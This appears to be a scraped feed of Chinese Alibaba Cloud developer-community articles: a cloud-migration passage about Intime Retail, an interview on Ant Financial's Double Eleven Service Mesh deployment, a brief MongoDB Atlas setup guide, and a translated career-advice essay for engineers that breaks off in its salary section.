        1,弹性的计算能力:IDC计算能力依赖于硬件投入,云上的计算能力为分布式弹性计算,免去了经常去机房上架服务器,更换服务器等操作。IDC的局限性在于物理服务器和物理空间,云上无需关心资源问题,并且易于扩展。

        2,避免浪费:IDC固定投入,并不意味着所有硬件资源都可以充分有效的利用起来,投入越多,浪费的也就更多。而云上是完全弹性的计算和费用,可随业务变化而随时调整,将投入的资源最大化发挥。之前存储利用率不到10%,大多数是闲置状态,上云后整体存储利用率已接近80%。

        3,效率:IDC中的操作大多数围绕着手工执行相关动作,云上一切操作都可以通过API触达,将之前的维护性工作以及部署性工作由两周降低到了几分钟内即可完成。

        4,高可靠性:上云之前,银泰的运维能力局限在自己运维人员的水平,而上云之后就是阿里云最先进的稳定性水平。无需关心底层架构,只需将经历放在业务层面中。

        那么在双十一期间,财务结算整体速度提升3倍以上,分摊数据处理性能提升10倍,之前由两周的机房扩容周期压缩到分钟级别即可搞定。而今天的银泰交易峰值已经是3年前的20倍,应用云技术,银泰赋予数据决策的能力,落地精准营销、客户雷达、商品比价、四色预警、BI决策支持等数据产品,并为一线导购提供简单好用的分析工具,帮助导购为客户提供更优质的服务。而目前,全面上云正成为新零售企业的标配。

        ]]>
        Service Mesh 落地负责人亲述:蚂蚁金服双十一四大考题-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        2019 年的双十一是蚂蚁金服的重要时刻,大规模落地了 Service Mesh 并顺利保障双十一平稳渡过。我们第一时间与这次的落地负责人进行了交流。

        采访的开头:
        花肉:“这次大规模上了 Service Mesh ,双十一值班感觉是什么?”
        卓与:“Service Mesh 真的稳。”

        卓与-top100-1115-2.JPG
        图为卓与 TOP100 北京峰会分享现场图

        落地负责人介绍

        Service Mesh 是蚂蚁金服下一代架构的核心,今年蚂蚁金服大规模的 Service Mesh 落地,我有幸带领并面对了这个挑战,并非常平稳的通过了双十一的大考。

        我个人主要专注在微服务领域,在服务注册与服务框架方向深耕多年,主导过第五代服务注册中心(SOFARegistry)设计与实施,在微服务的架构演进中持续探索新方向,并在蚂蚁金服第五代架构演进中负责内部 Service Mesh 方向的架构设计与落地。

        SOFAStack:https://github.com/sofastack
        SOFAMosn:https://github.com/sofastack/sofa-mosn

        Service Mesh 在蚂蚁金服

        蚂蚁金服很早开始关注 Service Mesh,并在 2018 年发起 ServiceMesher 社区,目前已有 4000+ 开发者在社区活跃。在技术应用层面,Service Mesh 的场景已经渡过探索期,今年已经全面进入深水区探索。

        2019 年的双十一是我们的重要时刻,我们进行了大规模的落地,可能是目前业界最大规模的实践。作为技术人能面对世界级的流量挑战,是非常紧张和兴奋的。当 Service Mesh 遇到双十一又会迸发出怎样的火花?蚂蚁金服的 LDC 架构继续演进的过程中,Service Mesh 要承载起哪方面的责任?我们借助四个“双十一考题”一一为大家揭晓。

        Service Mesh 背景知识

        Service Mesh 这个概念社区已经火了很久,相关的背景知识从我们的公众号内可以找到非常多的文章,我在这里不做过于冗余的介绍,仅把几个核心概念统一,便于后续理解。

        image.png
        图1. Service Mesh 开源架构来自 https://istio.io/

        Istio 的架构图上清晰的描述了 Service Mesh 最核心的两个概念:数据面与控制面。数据面负责做网络代理,在服务请求的链路上做一层拦截与转发,可以在链路中做服务路由、链路加密、服务鉴权等,控制面负责做服务发现、服务路由管理、请求度量(放在控制面颇受争议)等。

        Service Mesh 带来的好处不再赘述,我们来看下蚂蚁金服的数据面和控制面产品,如下图:
        image.png
        图2. 蚂蚁金服 Service Mesh 示意架构

        数据面:SOFAMosn。蚂蚁金服使用 Golang 研发的高性能网络代理,作为 Service Mesh 的数据面,承载了蚂蚁金服双十一海量的核心应用流量。

        控制面:SOFAMesh。Istio 改造版,落地过程中精简为 Pilot 和 Citadel,Mixer 直接集成在数据面中避免多一跳的开销。

        2019 Service Mesh 双十一大考揭秘

        双十一 SOFAMosn 与 SOFAMesh 经历海量规模大考,顺利保障双十一平稳渡过。今年双十一蚂蚁金服的百十多个核心应用全面接入 SOFAMosn,生产 Mesh 化容器几十万台,双十一峰值 SOFAMosn 承载数据规模数千万 QPS,SOFAMosn 转发平均处理耗时 0.2ms。

        image.png
        图3. 双十一落地数据

        在如此大规模的接入场景下,我们面对的是极端复杂的场景,同时需要多方全力合作,更要保障数据面的性能稳定性满足大促诉求,整个过程极具挑战。下面我们将从几个方面来分享下我们在这个历程中遇到的问题及解决方案。

        双十一考题

        1. 如何让 Service Mesh 发挥最大的业务价值?
        2. 如何达成几十万容器接入 SOFAMosn 的目标?
        3. 如何处理几十万容器 SOFAMosn 的版本升级问题?
        4. 如何保障 Service Mesh 的性能与稳定性达标?

        落地架构

        为了更加方便的理解以上问题的解决与后续介绍中可能涉及的术语等,我们先来看下 Service Mesh 落地的主要架构:

        image.png
        图4. Service Mesh 落地架构

        以上架构图中主要分几部分:

        1. 数据面:借助 Kubernetes 中的 Pod 模型,SOFAMosn 以独立镜像和 App 镜像共同编排在同一个 Pod 内,共享相同的 Network Namespace、CPU、Memory,接入 SOFAMosn 后所有的 App RPC 流量、消息流量均不在直接对外,而是直接和 SOFAMosn 交互,由 SOFAMosn 直接对接服务注册中心做服务发现,对接 Pilot 做配置下发,对接 MQ Server 做消息收发等;
        2. 控制面:由 Pilot、Citadel 和服务注册中心等组件组成,负责服务地址下发、服务路由下发、证书下发等;
        3. 底层支撑:Sidecar 的接入与升级等均依赖 Kubernetes 能力,通过 webhook 做 Sidecar 的注入,通过 Operator 做 Sidecar 的版本升级等,相关运维动作均离不开底层的支撑;
        4. 产品层:结合底层提供的原子能力做运维能力封装,监控对接,采集 Sidecar 暴露的 Metrics 数据做监控与预警,流量调控,安全等产品化能力;

        蚂蚁金服的答卷

        1. 如何让 Service Mesh 发挥最大的业务价值?

        作为一个技术人,我们非常坚持不要为了技术革新本身去做技术革新,一定要让技术帮助业务,用技术驱动业务。这几年随着大家消费习惯以及网络行为的改变,双十一面对的业务场景远比想象中复杂。举个例子大家感受下,大家有没有发现你的女友或者老婆每天对着李佳琦的淘宝直播购物,主播们不断的、实时的红包、上新等等,带来了远比秒杀更复杂的业务场景和体量。大促的模式也更加丰富,不同场景下的大促涉及的应用是不同的,每一类应用在应对独特的洪峰时都需要有足够的资源。

        假如运营同学在不同时间点设计了两种活动,两种活动分别会对应两类不同的应用,如果这两类应用都在大促前准备充足的资源自然是轻松渡过大促峰值,但大促洪峰时间短暂,大量的资源投入有很长一段时间都处于空闲状态,这自然不符合技术人的追求。

        那么如何在不增加资源的场景下渡过各种大促呢?

        核心问题就是如何在足够短的时间内做到大规模资源腾挪,让一批机器资源可以在不同时间点承载起不同的大促洪峰。

        面对这样的挑战,我们会有怎样的解法呢?

        Service Mesh 618 大促落地试点时,我们有介绍到为什么要做这个事情,核心价值是业务与基础设施解耦,双方可以并行发展,快速往前走。那么并行发展究竟能为业务带来哪些实际的价值?除了降低基础组件的升级难度之外,我们还在资源调度方向做了以下探索:

        1.1 腾挪调度

        说到资源调度,最简单的自然是直接做资源腾挪,比如大促A峰值过后,大促A对应的应用通过缩容把资源释放出来,大促B对应的应用再去申请资源做扩容,这种方式非常简单,难点在于当资源规模非常庞大时,缩容扩容的效率极低,应用需要把资源申请出来并启动应用,耗时很长,假如多个大促之间的时间间隔很短,腾挪需要的耗时极有可能超过大促时间间隔,这种调度方案已不能满足双十一多种大促的诉求。

        image.png
        图5. 腾挪调度

        1.2 分时调度

        腾挪调度最大的问题是应用需要冷启动,冷启动本身的耗时,加上冷启动后预热需要的耗时,对整个腾挪时间影响极大。假如应用不需要启动就能完成资源腾挪,整个调度速度将会加快很多。基于应用不需要重新启动即可完成资源腾挪的思路,我们提出了分时调度的方案:分时调度会通过超卖的机制申请出足够的容器。

        image.png
        图6. 分时调度

        我们把资源池中的应用容器分为两种状态(4C8G 规格为例):

        • 运行态:运行态的应用处于全速运行的状态(资源可使用到 4C8G),它们可以使用充足的资源全速运行,承载 100% 的流量;
        • 保活态:保活态的应用处于低速运行的状态(资源可使用到 1C2G),它们仅可使用受限的资源低速运行,承载 1% 的流量,剩余 99% 的流量由 SOFAMosn 转发给运行态节点;

        image.png
        图7. 保活态流量转发

        保活态和运行态可以快速切换,切换时仅需要做 JVM 内存 Swap 以及基于 SOFAMosn 的流量比例切换,即可快速做到大促A到大促B间资源的快速切换。

        SOFAMosn 流量比例切换的能力是分时调度中非常核心的一部分,有了这份流量转发,Java 内存 Swap 后才可以降低流量以保持各种连接活性,如应用与 DB 间的连接活性等。通过分时调度的技术手段,我们达成了双十一多种大促不加机器的目标,这个目标达成后能节省的成本是极大的,这也是 Service Mesh 化后将能带来的重要业务价值。

        每个公司落地 Service Mesh 的路径不尽相同,这里给出的建议依然是不要为了技术革新本身去做技术革新,多挖掘 Service Mesh 化后能给当前业务带来的实际价值,并以此价值为抓手设定目标,逐步落地。

        2. 如何达成几十万容器接入 SOFAMosn 的目标?

        说到数据面的接入,了解社区方案的同学应该会联想到 Istio 的 Sidecar Injector。Istio 通过在 Kubernetes 中集成 Sidecar Injector 来注入 Envoy。标准的 Kubernetes 更新行为也是 Pod 的重建,创建新 Pod 销毁旧 Pod,更新过程中 IP 会改变等。

        在蚂蚁金服的场景下,或者说在国内较多公司使用 Kubernetes 做内部运维体系升级时,都会走先替换底层资源调度再替换上层 Paas 产品的路子,因为已有的 Paas 是客观存在的,Paas 的能力也非一朝一夕可以直接云原生化的,那么先用 Kubernetes 替换掉底层的资源调度的路子就变的顺理成章了。这条路子上还涉及非 Kubernetes 体系和 Kubernetes 体系的兼容性,如保持 IP 地址不变的 Pod 更新能力,有了这些能力对上层 Paas 来讲,运维体系和运维传统 VM 的场景类似,只是发布部署可以由上传 zip 包解压发布变成镜像化发布,同时在更多高阶场景可以借助 Operator 实现更加面向终态的运维模式。

        image.png

        我们上面介绍 图4. Service Mesh 落地架构 时,有看到 SOFAMosn 和应用 App 编排在同一个 Pod 内,那么一个应用要接入 SOFAMosn 首先要先完成镜像化,可以被 Kubernetes 管理起来,然后是 SOFAMosn 的注入,注入后还需要可原地更新(InPlace Update)。

        2.1 替换接入

        在我们落地的初期,SOFAMosn 的接入方式主要是替换接入。替换接入就是指定某个应用做 SOFAMosn 接入时,我们会通过创建新 Pod,然后在创建的同时注入 SOFAMosn,新 Pod 创建完成后缩容旧容器。为什么说是缩容旧容器而不是说缩容旧 Pod,是因为接入早期,我们内部的调度系统 Sigma(蚂蚁金服版 Kubernetes)还处于底层逐步替换的过程中,有部分容器还是非 Kubernetes 管理的状态,这部分容器没有 Pod 的概念。

        image.png
        图8. 替换接入

        替换接入最大的问题就是需要充足的资源 Buffer,否则新的 Pod 调度不出来,接入进度便会受阻,而且整个接入周期加上资源申请,以及资源申请出后附带的一系列周边配套系统的数据初始化等,周期较长、依赖较多,所以这个能力是很难在短时间内满足我们几十万容器的接入进度目标的。

        2.2 原地接入

        基于替换接入的已知问题,我们尝试结合资源调度层的改造,将接入方案做了大幅简化,并提供了原地接入能力。原地接入会首先把不在 Kubernetes 集群中管理的容器原地替换为由 Kubernetes 集群管理的 Pod,然后通过 Pod Upgrade 时直接新增 Sidecar 的方式将 SOFAMosn 注入 Pod,省去了扩容的资源 Buffer 开销,将整个接入过程变的简单顺滑。

        image.png
        图9. 原地接入

        原地接入打破了仅在创建 Pod 时注入的原则,带来了更高的复杂度。如原 Pod 拥有 4C8G 的资源,注入 SOFAMosn 后不能新增资源占用,如果新增了资源占用那么这部分资源就不受容量管控系统管理,所以我们将 App Container 和 SOFAMosn Container 的资源做了共享,SOFAMosn 和 APP 公用 4C 的 CPU 额度,抢占比相同。内存方面 SOFAMosn 可用内存 Limit 为 App 的 1/4,对于 8G 内存来讲,SOFAMosn 可见 2G,应用依然可见 8G,当应用使用内存超过 6G 时,由 OOM-Killer 优先 kill SOFAMosn 来保障应用可继续申请到内存资源。

        以上 CPU 抢占比和 Mem limit 比例均为实际压测调整比例,最初我们尝试过 SOFAMosn CPU 占比为应用的 1/4,Mem 为应用的 1/16,这在小流量的应用下可正常工作,但是遇到核心应用,连接数上万的场景下,内存和 CPU 都比较吃紧,特别是 CPU 争抢能力弱于应用的场景下,会导致 RT 变长,间接影响应用。在实际运行的稳定性保障上通过各种参数调整和验证,最后得出 SOFAMosn 与 APP 1:1 共享 CPU,Mem limit 限制为应用 Mem 1/4 的比例。

        image.png
        图10. 空中加油

        通过原地注入的能力,我们实现了更加平滑的接入方式,极大加速了海量容器接入 SOFAMosn 的进程。

        3. 如何处理几十万容器 SOFAMosn 的版本升级问题?

        海量容器接入 SOFAMosn 之后,一个更大的挑战是如何快速的升级 SOFAMosn 版本。我们一直强调 Service Mesh 带来的核心价值是业务与基础设施层的解耦,让双方可以更加快捷的向前走,但假如没有快速升级的能力,那么这个快速往前走便成了一句空话,而且任何软件都可能引入 Bug,我们也需要一个快速的机制在 Bug 修复时可以更加快速的升级或回滚。SOFAMosn 的升级能力也从有感升级进阶到无感升级。

        3.1 有感升级

        image.png
        图11. 有感升级

        有感升级是一次 Pod 的 InPlace Update,这个升级过程中,会关闭此 Pod 的流量,然后做容器 Upgrade,容器 Upgrade 的时候,应用和 SOFAMosn 均会做更新、启动,并在升级完成后打开流量。这个过程的耗时主要取决于应用启动耗时,如一些庞大的应用启动耗时可能达 2~5分钟之久,所以升级周期也会被拉长,并且应用能感知到流量的开关。所以这种方式我们称之为有感升级,这种方式的优点是升级过程中无流量,稳定性更高。

        3.2 无感升级

        image.png
        图12. 无感升级

        无感升级我们又称之为平滑升级,整个升级过程中不会暂停流量,SOFAMosn 的版本直接通过热更新技术,动态接管旧版本的流量,并完成升级,整个过程中 APP Container 无感知,所以可以称为无感升级。这种升级方式减少了应用重启的耗时,整个升级时长消耗主要在新旧 SOFAMosn 版本之间的连接迁移,关于无感升级的实现细节,可以参考我 2019 年上半年在 GIAC 上的分享:《蚂蚁金服 Service Mesh 落地实践与挑战 | GIAC 实录》

        3.3 无人值守

        有了快速升级的能力,还需要有在升级过程中的风险拦截,这样才能放心大胆的做版本升级。基于无人值守的理念,我们在 SOFAMosn 的升级前后基于 Metrics 度量指标判断升级前后的流量变化、成功率变化以及业务指标的变化等,实现及时的变更风险识别与阻断,通过这种方式真正做到了放心大胆的快速升级。

        image.png
        图13. 无人值守

        4. 如何保障 Service Mesh 的性能与稳定性达标?

        SOFAMosn 在双十一的表现稳定,峰值千万级 QPS 经过 SOFAMosn,SOFAMosn 内部处理消耗平均 RT 低于 0.2ms。我们在性能和稳定性上经过多重优化改进才最终能达成以上成果,这其中离不开生产的持续压测、打磨,以下是我们在性能和稳定性方面的一些改进点,仅供参考:

        4.1 性能优化

        CPU 优化

        Golang writev 优化:多个包拼装一次写,降低 syscall 调用。我们在 go 1.9 的时候发现 writev 有内存泄露的bug,内部使用的目前是 patch 了 writev bugfix 的 go 1.12。writev bugfix 已经集成在 go 1.13 中。
        详情见我们当时给go 提交的PR: https://github.com/golang/go/pull/32138

        内存优化

        内存复用:报文直接解析可能会产生大量临时对象,SOFAMosn 通过直接复用报文字节的方式,将必要的信息直接通过 unsafe.Pointer 指向报文的指定位置来避免临时对象的产生。

        延迟优化

        协议升级:快速读取 header:TR 协议请求头和 Body 均为 hessian 序列化,性能损耗较大。而 Bolt 协议中 Header 是一个扁平化map,解析性能损耗小。升级应用走 Bolt 协议来提升性能。

        路由缓存:内部路由的复杂性(一笔请求经常需要走多种路由策略最终确定路由结果目标),通过对相同条件的路由结果做秒级缓存,我们成功将某核心链路的全链路 RT 降低 7%。

        4.2 稳定性建设

        • Pod 级别 CPU Mem 限额配置,Sidecar 与 APP 共享 CPU Mem;
        • 运维周边建设:

          • 原地注入;
          • 平滑升级;
          • Sidecar 重启;
        • 监控建设:

          • 系统指标:CPU、Mem、TCP、Disk IO;
          • Go 指标:Processor、Goroutines、Memstats、GC;
          • RPC 指标:QPS、RT、连接数;
        • 旁路增强:

          • 服务注册中心性能提升;

        回顾

        1. 如何让 Service Mesh 发挥最大的业务价值?保证效率增加成本不变
        2. 如何达成几十万容器接入 SOFAMosn 的目标?降低接入成本
        3. 如何处理几十万容器 SOFAMosn 的版本升级问题?降低应用感知
        4. 如何保障 Service Mesh 的性能与稳定性达标?性能与稳定性层层优化

        通过对以上问题的深入解读,大家可以了解到蚂蚁金服的 Service Mesh 为何可以稳定支撑双十一,也期望能为大家落地 Service Mesh 带来一些不一样的思考。更多 Service Mesh 相关内容敬请关注我们的公众号“金融级分布式架构”来了解更多。

        ]]>
        如何快速搭建免费云上MongoDB三副本集群-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 一、简介

          MingoDB官方不止提供了社区版和企业版的数据库,还有MongoDB Atlas:Fully managed cloud database。

        二、如何快速搭建一套MongoDB集群

        2.1 首先打开MongoDB的官方网站,进入MongoDB Atlas:
        _
        2.2 然后划到最下方,如果没有账号下进行注册,这里我们选择直接登陆:
        _
        _
        2.3 在这里我们选择FREE,然后我们响应的规格等信息,最后点击创建:
        _
        _
        _
        _
        _
        2.4 可以看到,这样我们就创建了一个简单的集群(创建过程需要几分钟),然后我们来进一步配置:
        _
        2.4.1 首先创建相关用户
        _
        2.4.2 配置白名单
        _
        2.4.3 加载测试数据
        _
        2.4.4 连接集群
        点击connect,会弹出几个选项
        _
        这里我们选择Mongo Compass和Mongo Shell两种,如果没有客户端需要单独下载,复制链接,在客户端粘贴:
        _
        _
        粘贴后需要我们输入密码:
        _
        _
        OK!

        三、总结

          利用MongoDB Atlas我们可以轻松的搭建一套Mongo DB副本集用来测试!

        ]]>
        不要再叫自己“程序员”了-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者:Patrick McKenzie
        译者:大小非
        来源:AI 前线(ID:ai-front)
        image.png

        如果有一门课一定要加到工程师教育课程中的话,那一定不会涉及编译器或时间复杂性。但这就是我们所在行业的基本要求,因为我们不教他们,这会导致很多不必要的痛苦和折磨。这篇文章希望对作为一名年轻工程师的你的职业生涯有所帮助。

        我们的目标是让你快乐,填补你所受教育的空白,了解“真实世界”是如何运作的。我花了大约 10 年的时间,经历了很多磨难才弄明白其中的一些道理。“我知道这不是权威的指导,但希望它会比你的大学就业中心没有告诉你的东西更有价值。”

        01 90% 的编程工作都是开发商业软件

        经济学基础:任何物品的价格 (包括你自己) 都是供应和需求的关系函数。我们先谈谈需求方。

        大多数软件不是装在盒子里卖的,也不是在网上卖的,也不是从应用商店下载的。大多数软件都是乏味的一次性企业应用程序,支撑着全球经济的方方面面。它跟踪费用、优化运输成本,帮助会计部门进行预测,它帮助设计新部件,它为保险单定价, 它标记由欺诈部门进行手工审查的订单等等。

        软件常常可以解决业务问题,尽管它非常单调,但技术复杂性也很低。例如,使用一个内部差旅费用报表,对于一家拥有 2,000 名员工的公司来说,这可能每年节省 5,000 个工时 (全员成本平均为每小时 50 美元),而相对纸质文件的处理费用每年可节省 250,000 美元。

        对于公司来说,报表是世界上最简单的 CRUD 应用程序,这并不重要,重要的是它可以节省公司的成本甚至为公司带来额外的收入。

        有些公司开发的软件实际上是供客户使用的,它描述了你想到软件时可能想到的几乎所有东西。除非你愿意,否则你不太可能在这家公司工作。即使你在这家公司工作,那里的许多程序员也不从事面向客户的软件工作。
        image.png

        02 雇佣工程师是为了创造业务价值,而不是为了编写程序

        企业总是出于非理性和政治原因而做一些事情 (见下文),但它们主要集中在做一些能够增加收入或降低成本的事情上。在经营良好的企业中,地位通常是授予那些成功地将其中一件事的功劳据为自己所有的人。(可以理解,但不一定需要这样做。)

        决定增加一个工程师的人并不是因为他们喜欢有一个极客在房间里,而是因为增加极客可以让他们完成一个 (或多个) 能增加收入或降低成本的项目。生产漂亮的软件不是一个目标。解决复杂的技术问题不是目标。编写没有 bug 的代码不是目标。使用性感的编程语言不是目标。增加收入、降低成本,这些是你唯一的目标。

        彼得·德鲁克——你可能没听说过他,他是管理学大师——提出了利润中心成本中心这两个术语。利润中心是组织中赚钱的一部分:律师事务所的合伙人、企业软件公司的销售人员、华尔街的“宇宙的主人”等等。

        成本中心和其他人一样。你之所以想依附于利润中心,因为它会给你带来更高的工资,更多的尊重,和更多的机会,还有其他一切对你有价值的东西。这并不难:一个聪明的高中生,在读过一段很长的商业描述后,通常应该可以确定利润中心在哪里。

        如果你想在那里工作,那就努力达到这个标准吧。如果你不能,要么 a) 到其他地方工作,要么 b) 在加入公司后调岗。

        尤其是工程师,他们通常是薪酬非常高的成本中心,这会让 MBA 的优化触角开始抖动。这给我们带来了像外包这样的好生意,那就是“让我们用低工资国家的低成本中心取代那些做一些我们需要但并不真正关心的技术昂贵的成本中心”。(附注:如果你阅读了本指南的其余部分,你完全可以忽略外包的职业威胁)

        没有人会外包利润中心,试图这么做只能成为 MBA 案例中的一个笑话。这就像建议用一堆软盘副本来替换源代码控制系统一样。
        image.png

        03 不要称自己为程序员

        “程序员”听起来像“成本异常高的苦力,把一些胡言乱语输入到另一些胡言乱语中。”如果你称自己是程序员,那一定有人会想方设法让你被解雇。

        你知道 Salesforce 吗? 工程师们普遍认为它是一家软件服务公司。他们的座右铭和卖点是“没有软件”,这实际传达给他们客户的是“你知道那些在你的内部系统上工作的程序员吗?”如果你使用 Salesforce,你可以解雇他们中的一半,并将部分差额作为奖金。

        (顺便说一句,这没有什么不对。你从事的是解雇员工的工作。如果你认为这是不公平的,那就回学校去学一些不相关的东西吧。)

        之后,尝试用你为以前的雇主所做的增加收入或降低成本的工作来描述你自己。如果你还没有机会这样做,请描述那些表明你有能力增加收入或降低成本的事情,或者有这样做的想法。

        有许多种类的高薪专业人士,他们也写代码,但并不认为自己是以写代码为生的。华尔街的定量分析师是第一个也是比较典型的例子:他们利用计算机和数学作为辅助,比其他的人能更快更好地做出重大决定,关键是这些决定会带来“我们公司赚了数十亿美元”的结果。

        成功的定量分析师在好年份获得的奖金,比许多同等才华的工程师在十年或一生中获得的奖金还要多。

        类似地,尽管你可能认为谷歌听起来像一个对程序员友好的公司,但也有一部分程序员是与 1% 的 AdWords 点击率提高紧密相关的。(提示:可证明这部分价值数十亿美元) 我最近偶然发现了一个网页,他的专业简历介绍说“之前负责写后端账单代码,谷歌的 97% 的收入都会经过这里”。他现在是天使投资人 (“富人”的礼貌同义词)。
        image.png

        04 不要被你选择的软件堆栈限定自己的能力范围

        我最近通过 Twitter 问年轻的工程师们想知道关于职业生涯的什么问题。许多人问如何知道要学习哪种编程语言或堆栈。下面我来做下回答。

        Java 程序员比.NET 程序员挣钱多吗? 任何自称是 Java 程序员或.NET 程序员的人在开始就已经错了,因为 a) 他们是程序员,而非 Java 程序员, b) 他们让自己无法被大多数编程工作聘用。

        在现实世界中,学习一门新语言需要几周的努力,6 到 12 个月后,没有人会注意到你的整个职业生涯有没有学过这门语言。

        我在 2010 年 3 月做过后端 Java Web 应用程序开发,但相信我,没人在乎这个。如果一家 Python 公司正在寻找技术人员来为他们赚一大笔钱,即便我从来没有写过一行 Python 代码,但我也觉得这一事实不会对我不利。

        有才能的工程师是很少见的——想要用到这些人更难得多——而且现在这个领域几乎每个方面都是人才的卖方市场。

        Matasano 的每个人都使用 Ruby。如果你不用 Ruby,但你是一个好工程师,他们无论如何也都会雇用你。(一名优秀的工程师有这样的能力——跟我重复一遍——增加收入或降低成本的能力。) Fog Creek 的大部分应用都是微软的,即便我甚至不会拼写 ASP.NET,他们仍然会雇用我。

        有些公司的人力资源政策不完善,没有专业性就意味着你不会被选中。除非你不想为他们工作,如果你真的想为他们工作,你可以花几个晚上和周末的时间在简历上加上相关的关键词,或者通过控制当前工作中的技术选择来提升你的职业兴趣。

        想在.NET 商店学习 Ruby 吗? 用 Ruby 实现一个一次性的项目后,你就是一名专业的 Ruby 程序员了——你编写了 Ruby 代码,并从中赚了钱。(你笑? 我通常是在 Java 商店里这样做的。这个一次性的 Ruby 项目为公司带来了 3 万美元的收入。不出所料,我的老板非常高兴,甚至从未问过是什么产生了这些收入。)
        image.png

        05 同事和老板通常不是你的朋友

        虽然你会花很多时间和同事在一起,甚至你可能最终会和其中一些人成为亲密的朋友,但总的来说,你会在三年后离开他们继续前进,除了保持友好关系外,你不会特意邀请他们来吃饭。他们会以同样的方式对待你。

        你应该对你遇到的每一个人都表现的友善——这是一件道德上的事情,这会对你的人际关系网有很大帮助——但是不要错误地认为每个人都是你的朋友

        例如,在一次工作面试中,即使你是在和一个和蔼可亲的 28 岁的人交谈,他也会觉得自己比你年长一些。你不是他的朋友,你是一个工业过程的输入,他试图以最低的价格为公司购买商品。

        关于魔兽世界的玩笑只是为了建立专业的融洽关系,但他会(完全符合道德)尝试做你的实际朋友都做不到的事情,例如尝试让你少付几千美元的薪水或花费更多的时间在公司上,而你可能会花时间与实际的朋友在一起。

        你也会遇到其他同事——友好且合乎道德地——会提出与你的利益背道而驰的建议,从“我应该从你刚刚做的那个项目赢得信誉”(可能没有用太多的措辞表述)到“我们应该这样做以提高我的职业发展目标,而不是你的职业发展目标。”这种情况发生时不要感到惊讶。
        image.png

        06 你完全高估了竞争对手的平均水平

        因为你周围有一群人:许多已经被成功聘用为高级工程师的人实际上无法实现 FizzBuzz。关键提示:你可能足够优秀,可以在你认为自己不适合的公司工作。他们希望雇用更好的人,但他们仍然会雇用普通职工。

        看到广告,发送简历,参加工作面试,收到薪水 offer,是求职的特殊做法,而不是典型途径。通常情况下:大多数工作永远不会公开提供,就像大多数有价值的候选人不会公开露面一样 。

        有关职位的信息在喝啤酒时会快速传播,有时通过电子邮件的方式。公司的决策者知道他需要一个什么样的人,他告诉他的朋友和生意上的伙伴。其中一个认识某个人——家人、大学室友、在会议上认识的人、前同事等等。他们互相介绍,开了个会,然后就这份工作基本就落实了。然后是简历、人力资源部、正式录用。

        对于你真正想要得到的工作来说,这是不太公平的。“成功创业公司的第一名员工”对很多极客来说都有一定的威望,而这些人几乎没有一个是通过向人力资源部门投递求职信而得到的,部分原因是两个人的创业公司还没有足够的能力组织来组成人力资源部门。(注:你可能不想成为创业公司的第一个员工,反而想成为最后一个。)

        想在谷歌找到一份工作吗?他们有一个成熟的流程来帮助你,因为谷歌员工看中了你。(对于一个非常喜欢你的谷歌人来说,他们也有多种非正式的方式来缩短这个过程。举个例子:收购你工作的公司。当你手头有几十亿美元时,你就会有很多有趣的选择来解决问题。)

        大多数招聘都是私下进行的,原因有很多。一个是,数以百计的简历会将优秀的候选人淹没在人海中 (尤其是在当前的经济形势下),而这些简历都是来自那些非常不适合这个职位的人。另一个原因是,其他公司在招聘方面做得很糟糕,如果你对候选人没有深入的个人了解,你可能会不小心聘用了一个非 fizzbuzzer。
        image.png

        07 网络,它不只是为传输 TCP 包

        网络还意味着:

        • 遇到那些在某个时刻可以为你做些事情的人 (或相反),
        • 给他们留下良好的印象。

        有很多地方可以认识人。你所在行业的活动,比如非学术界人士看到的会议或学术讨论会,就是其中之一。用户组是另一个。请记住,用户组所吸引的人群与行业会议非常不同,因此需要相应地进行优化。

        努力帮助别人。这是一件正确的事情,人们会敏锐地意识到谁曾经给过他们帮助。如果你不能帮助别人,但知道有人可以,把他们介绍给合适的人。如果你做得对,两个人会很高兴和你在一起,并愿意在未来帮助你。

        你可以通过 Internet 与人们见面,但是我们猴子脑中的某些事物使在肉体中相遇更加重要。我已经结识了很多人,后来我又在现实生活中见面。物理上的握手是双方关系中的重要一步,即使互联网会议可以产生诸如“通过好的建议使他们赚很多钱”这样非常重要的事情。也一定要多参加聚会。
        image.png

        08 学术界与现实世界不同

        你的 GPA 基本上无关紧要(modulo 是个例外:一家跨国广告公司)。在一定程度上,它仅决定你的简历是否被选中进行面试。

        如果你继续阅读其余内容,则会知道简历不是获得工作面试的主要方式,因此,不要花费大量的精力来优化你已经充分优化的内容(因为你获得 3.96 的面试次数与 3.8 的面试次数差别不大),或根本不需要(因为你会接受工作面试是因为你有能力要求合适的人和你一起喝咖啡)。

        你的专业和副修都不重要。大多数工业界的决策者即使努力了也分不清计算机科学专业和数学专业的区别。我曾经因为一个小小的学术问题而哭过,因为这威胁到了我获得计算机科学专业的理学学士学位的能力。我的导师告诉我,计算机科学学士学位比计算机科学理学学士学位更有名望。学术界关心的是这样的区别。现实世界则不然。

        你们的教授可能知道学术型的就业市场是如何运作的 ( 工程学上的工作效率低得可笑,而且英语无法超越凡人的理解),但他们往往对现实世界的运作有着不切实际的理解。

        例如,他们可能会要求你获得额外的学位,因为 a) 对他们来说这听起来是个好主意,b) 他们喜欢有研究人员做拉面相关的工作。记住,在你的领域,有能力进行研究的人的市场工资是 80~10 万美元 +++。那可以买很多拉面。

        负责我的研究项目的教授给我提供了他实验室的一个名额,还免除了我的学费,如果我为他工作 4~6 年,他还会给我 1.2 万美元的津贴。如果你最近刚从一个低工资国家移民过来,需要有人帮你办理政府签证,那就太合适了。

        如果你真的喜欢大学的氛围,那就太酷了。背上背包,你可以随时走进美国任何一所大学的任何一栋大楼。你也可以在工业界引领思想——享受更少的政治和更高的薪水。你甚至可以在期刊上发表文章,如果这对你有帮助的话。

        (当你摆脱了学术界扭曲心智的氛围后,你可能会有理由质疑,发表在期刊上的文章是否真的对个人或社会有重大意义, 而不是写一篇博客文章,然后展示给需要的人看。)
        image.png

        09 工程师能挣多少钱?

        很没水平的问题。比较靠谱的问法是“工程师通常为什么样的工作机会工作?”,因为薪水是人们用来激励你的众多手段之一。这个问题的答案是,“到处都是 Offer,多数人为 Offer 而活”,这样的答案其实帮助也不大。

        一般来说,大公司比初创公司支付更多 (钱、福利等)。高感知价值的工程师比低感知价值的工程师挣得更多。高级工程师比初级工程师挣得多。在高成本地区工作的人比在低成本地区工作的人挣得多。擅长谈判的人比不擅长谈判的人挣得多。

